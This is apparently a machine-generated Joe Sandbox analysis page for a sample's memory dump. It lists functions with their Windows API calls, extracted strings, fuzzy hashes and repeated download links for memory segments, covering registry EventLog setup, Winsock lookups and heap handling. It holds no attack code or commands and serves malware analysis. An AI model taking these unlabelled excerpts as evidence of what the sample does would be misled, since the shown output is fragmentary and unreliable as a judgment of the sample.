Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f3f74b1109017a69a3b925dcc665955ad98aa6b084c30251bc14c2bb10f6cd6
Instruction ID: a1ee445c724ea8702d7ee1623ce43b7266980cdcae8bebc431d298345f1a5599
Opcode Fuzzy Hash: 6f3f74b1109017a69a3b925dcc665955ad98aa6b084c30251bc14c2bb10f6cd6
Instruction Fuzzy Hash: 39C001782056009FC705CF08C190855B7E1EB8E611B118499FA568B771D731EC50EA11

Function 6C7E3BB0 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6CC09841: RaiseException.KERNEL32(?,?,6CC44475,?,?,?,?,?,?,?,6CC44475,?,6CF5F46C,?), ref: 6CC09896

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E3D35
_Smanip.LIBCPMT ref: 6C7E3D4A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E3D9A
_Smanip.LIBCPMT ref: 6C7E3DBA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7E3E0A

Strings

not-a-date-time, xrefs: 6C7E3CE1
+infinity, xrefs: 6C7E3CB3
-infinity, xrefs: 6C7E3CCA

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$Smanip$ExceptionRaise
String ID: +infinity$-infinity$not-a-date-time
API String ID: 3978176290-2863292526
Opcode ID: 2654ad794b99f249d9e81075635932e08650d80d7e99161c63a43b0c3e79fda0
Instruction ID: 87497db9af4834a70259a111ad3b619ed27f6ad7b3c7aec831af75cb4dec8a71
Opcode Fuzzy Hash: 2654ad794b99f249d9e81075635932e08650d80d7e99161c63a43b0c3e79fda0
Instruction Fuzzy Hash: 3A81D3B29043406BD714DB60DD49FDB77ACAB88308F504D29F549A7B81EB31E90D8762

Function 6C984790 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113
windowlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 6C9847C8
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 6C984802
DispatchMessageA.USER32(?), ref: 6C98480D
TranslateMessage.USER32(?), ref: 6C984814
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 6C984823
GetModuleHandleA.KERNEL32(KERNEL32.DLL,GetTickCount64), ref: 6C984841
GetProcAddress.KERNEL32(00000000), ref: 6C984848
GetTickCount.KERNEL32 ref: 6C984890

Strings

GetTickCount64, xrefs: 6C984837
KERNEL32.DLL, xrefs: 6C98483C

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Message$CountPeekTick$AddressDispatchHandleModuleProcTranslate
String ID: GetTickCount64$KERNEL32.DLL
API String ID: 2733022415-3320051239
Opcode ID: 2fc444d79efc70d0e8c8471a828a93c93a52987fe00ac20dabea9916fbf962b6
Instruction ID: 5db1ed570fde2ba7c6097b6adaebd900015f0355d2463b13e880ba10dc24fd87
Opcode Fuzzy Hash: 2fc444d79efc70d0e8c8471a828a93c93a52987fe00ac20dabea9916fbf962b6
Instruction Fuzzy Hash: 1E314A717013009FDB10DF6AD848B4ABBFCAF85714F508A69F865D7A80E774D4488FA1

Function 6CAEDAC0 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 57
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyA.KERNEL32(?,SYSTEM\CurrentControlSet\Services\EventLog\Application\,00000000,00000028), ref: 6CAEDAE6
lstrcatA.KERNEL32(?,?), ref: 6CAEDAF4

Part of subcall function 6CAEDC20: RegCreateKeyExA.ADVAPI32(80000002,?,00000000,00000000,00000000,00000002,00000000,?,6CAEDB0F,00000000,?,6CAEDB0F,?), ref: 6CAEDC44

RegCloseKey.ADVAPI32(00000000,?,?), ref: 6CAEDB5D

Part of subcall function 6CAEDC80: lstrlenA.KERNEL32(?,?,6CAEDB2C,00000000,EventMessageFile,NTEventLogAppender.dll,?,?), ref: 6CAEDC86
Part of subcall function 6CAEDC80: RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,00000000,?,6CAEDB2C,00000000,EventMessageFile,NTEventLogAppender.dll,?,?), ref: 6CAEDC9A

Part of subcall function 6CAEDC60: RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,6CAEDB4D,00000000,TypesSupported,00000007,00000000,CategoryMessageFile,NTEventLogAppender.dll,00000000,EventMessageFile), ref: 6CAEDC73

Strings

EventMessageFile, xrefs: 6CAEDB1F
CategoryCount, xrefs: 6CAEDB4F
SYSTEM\CurrentControlSet\Services\EventLog\Application\, xrefs: 6CAEDADE
CategoryMessageFile, xrefs: 6CAEDB31
NTEventLogAppender.dll, xrefs: 6CAEDB1A, 6CAEDB2C
TypesSupported, xrefs: 6CAEDB40

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Value$CloseCreatelstrcatlstrcpylstrlen
String ID: CategoryCount$CategoryMessageFile$EventMessageFile$NTEventLogAppender.dll$SYSTEM\CurrentControlSet\Services\EventLog\Application\$TypesSupported
API String ID: 2452147993-25712953
Opcode ID: 6161390e3f2ae88538ac1b240cf80bc42f6528e61324a53e76ff7f650340aafc
Instruction ID: e187bf77ce5d85d50465a97ce362be16276bd13c442d6378b44e0baff42b9155
Opcode Fuzzy Hash: 6161390e3f2ae88538ac1b240cf80bc42f6528e61324a53e76ff7f650340aafc
Instruction Fuzzy Hash: 64118235B05118A7CB1097249D44EEF77BDDFC9308F000596F645B3640DBB96A8DA794

Function 6CA663E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNEL32(00000005,00000000,00000000,00000000,?,6CA669A5), ref: 6CA663F1
HeapAlloc.KERNEL32(00000000,00000008,00000648,00000000,?,6CA669A5), ref: 6CA66404
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000001,?,6CA669A5), ref: 6CA66418
HeapFree.KERNEL32(00000000,00000000,?,6CA669A5), ref: 6CA6642C
GetModuleHandleA.KERNEL32(kernel32.dll,?,6CA669A5), ref: 6CA66447
GetProcAddress.KERNEL32(00000000,GetQueuedCompletionStatusEx), ref: 6CA66457

Strings

GetQueuedCompletionStatusEx, xrefs: 6CA66451
kernel32.dll, xrefs: 6CA66438

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: Heap$Create$AddressAllocCompletionFreeHandleModulePortProc
String ID: GetQueuedCompletionStatusEx$kernel32.dll
API String ID: 2917928171-3074460875
Opcode ID: 6248a615570ea66d0c864e35b4d76bff2400c1ca853162433d837b7ee232e6df
Instruction ID: dc623a7486ed1c55a69e5eb439491f06a2060fe890953047cbe05c5a4d56ebd0
Opcode Fuzzy Hash: 6248a615570ea66d0c864e35b4d76bff2400c1ca853162433d837b7ee232e6df
Instruction Fuzzy Hash: BA11A171651601BFEF009F3AEC08B56BBF8EF4A721F14811AF829D2A80DB708840CB50

Function 6CC6E4C0 Relevance: 10.6, APIs: 7, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(00100002,00000000,00000000), ref: 6CC6E560
CloseHandle.KERNEL32(00000000), ref: 6CC6E575
ResetEvent.KERNEL32(00000000), ref: 6CC6E57F
CloseHandle.KERNEL32(00000000,D2AB1C0E), ref: 6CC6E5B4
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,D2AB1C0E), ref: 6CC6E62A
CloseHandle.KERNEL32(00000000), ref: 6CC6E63F

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: CloseEventHandle$CreateOpenReset
String ID:
API String ID: 1285874450-0
Opcode ID: bc4c68698d16dbf0014be470df1d1c3c7488d232c2fd60d5d2f46d8c82e991ec
Instruction ID: 279adad7db1960954a39355c57562acd7c750b7fbb6a9b241a2fcf08ae660b3d
Opcode Fuzzy Hash: bc4c68698d16dbf0014be470df1d1c3c7488d232c2fd60d5d2f46d8c82e991ec
Instruction Fuzzy Hash: F0513E70D05358AFDF10CBA6CD84B9DB7B8AF05714F24421AE828ABA80F7709905CB91

Function 6CAF07B0 Relevance: 10.6, APIs: 7, Instructions: 70
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

gethostbyname.WS2_32(00000040), ref: 6CAF07E1
WSAGetLastError.WS2_32 ref: 6CAF07EB
WSAStartup.WS2_32(00000101,?), ref: 6CAF0804
gethostbyname.WS2_32(00000040), ref: 6CAF081B
inet_addr.WS2_32(00000040), ref: 6CAF0835
gethostbyaddr.WS2_32(?,00000004,00000002), ref: 6CAF084C
socket.WS2_32(00000002,00000002,00000000), ref: 6CAF0866

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943883446.000000006CF6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943904565.000000006CF70000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943918725.000000006CF71000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943932489.000000006CF72000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943946986.000000006CF77000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944003529.000000006CF79000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944022692.000000006CF91000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944038142.000000006CF93000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944052019.000000006CF97000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944067263.000000006CF98000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944088790.000000006CFB6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFBF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFC9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFD8000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006CFE0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D000000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D005000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944124609.000000006D009000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D00F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2944368391.000000006D021000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7a0000_8VB4lVuZk3.jbxd

Similarity

API ID: gethostbyname$ErrorLastStartupgethostbyaddrinet_addrsocket
String ID:
API String ID: 1331971487-0
Opcode ID: fc0547b2517a2d2d28b825706e8c2cbeb8950c5d260830b3fffb045085c5ef67
Instruction ID: 2d1882b8b1dd31f45cfc77972c499eaa95b99ddec5edc0353b94b652d102d0bc
Opcode Fuzzy Hash: fc0547b2517a2d2d28b825706e8c2cbeb8950c5d260830b3fffb045085c5ef67
Instruction Fuzzy Hash: 7D217930B01658AFEB218F2AC80DB9AB7B8FF06714F040059F915CBA80DB70E885CBD1

Function 6CC6F2E0 Relevance: 10.1, APIs: 8, Instructions: 116
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(FFFFFFFF,D2AB1C0E,?,?,?,?,000000FF,6CC6F50A), ref: 6CC6F316
TlsSetValue.KERNEL32(FFFFFFFF,6CC6F50A), ref: 6CC6F35F
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 6CC6F388
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 6CC6F38F
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 6CC6F3CE
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 6CC6F3D5
GetProcessHeap.KERNEL32(00000000,6CC6F50A,?,?), ref: 6CC6F3DA
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,000000FF), ref: 6CC6F3E1

Memory Dump Source

Source File: 00000000.00000002.2943336648.000000006C7A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000000.00000002.2943319489.000000006C7A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CCFA000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2943702385.000000006CD00000.00000002.00000001.01000000.00000007.sdmpDownload File
